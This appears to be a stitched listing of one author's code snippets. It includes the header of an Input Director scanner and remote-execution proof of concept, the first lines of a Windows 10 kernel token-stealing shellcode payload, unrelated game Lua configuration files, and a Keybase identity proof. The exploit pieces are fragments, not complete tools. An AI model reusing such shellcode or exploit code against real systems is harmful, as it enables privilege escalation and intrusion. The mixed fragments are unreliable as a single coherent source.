Keramas

# Scanner and remote file execution proof-of-concept for password-less instances of Input Director.

from pwn import *
import threading
import concurrent.futures
import time
import queue
import sys
from scapy.all import *
import argparse

Keramas

; Windows 10 x64 2004 Token Stealing Payload
; Updated for change in EPROCESS structure offsets

[BITS 64]

_start:
	xor rax, rax
        mov rax, [gs:0x188]		  ; Current thread (_KTHREAD)
	mov rax, [rax + 0xb8]		  ; Current process (_EPROCESS)
	mov r8, rax			  ; Copy current process (_EPROCESS) to r8

Keramas

-------------------------------------------------------------------------------------------------------------------
-- Setup functions for this job.  Generally should not be modified.
-------------------------------------------------------------------------------------------------------------------
 
-- Initialization function for this job file.
function get_sets()
        mote_include_version = 2
 
        -- Load and initialize the include file.
        include('Mote-Include.lua')

Keramas

Keybase proof

I hereby claim:

• I am keramas on github.
• I am keramas (https://keybase.io/keramas) on keybase.
• I have a public key ASBABBngpumLpMHLaA4JUAfny7bpR89FF1Z-kXvHXERrhQo

To claim this, I am signing this object:

Keramas

-------------------------------------------------------------------------------------------------------------------
-- Setup functions for this job.  Generally should not be modified.
-------------------------------------------------------------------------------------------------------------------
 
--[[
    gs c toggle LuzafRing -- Toggles use of Luzaf Ring on and off
   
    Offense mode is melee or ranged.  Used ranged offense mode if you are engaged
    for ranged weaponskills, but not actually meleeing.